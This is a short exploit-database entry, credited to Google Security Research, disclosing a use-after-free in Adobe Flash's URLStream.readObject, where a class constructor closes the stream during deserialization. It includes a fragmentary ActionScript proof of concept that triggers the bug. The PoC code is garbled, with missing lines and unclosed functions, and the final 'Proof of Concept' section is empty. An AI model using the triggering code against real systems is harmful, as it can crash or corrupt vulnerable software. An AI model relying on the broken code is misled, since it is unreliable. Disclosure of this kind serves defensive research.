Adobe Flash - URLStream.readObject Use-After-Free

ID 1337DAY-ID-25961
Type zdt
Reporter Google Security Research
Modified 2016-04-01T00:00:00


Exploit for multiple platform in category dos / poc

There is a use-after-free in URLStream.readObject. If the object read is a registered class, the constructor will get invoked to create the object. If the constructor calls URLStream.close, the URLStream will get freed, and then the deserialization function will continue to write to it.
A minimal PoC is as follows:
//In main"bob", myclass);
var u:URLStream = new URLStream();
myclass.u = u;
u.addEventListener(Event.COMPLETE, func);
u.load(new URLRequest("file.txt"));
function func(){    
// in myclass
static public var u;
public function myclass()
A sample script and SWF are attached. Note that file.txt needs to be in the same folder as getproperty.swf on a remote server.
Proof of Concept:

# [2018-04-04]  #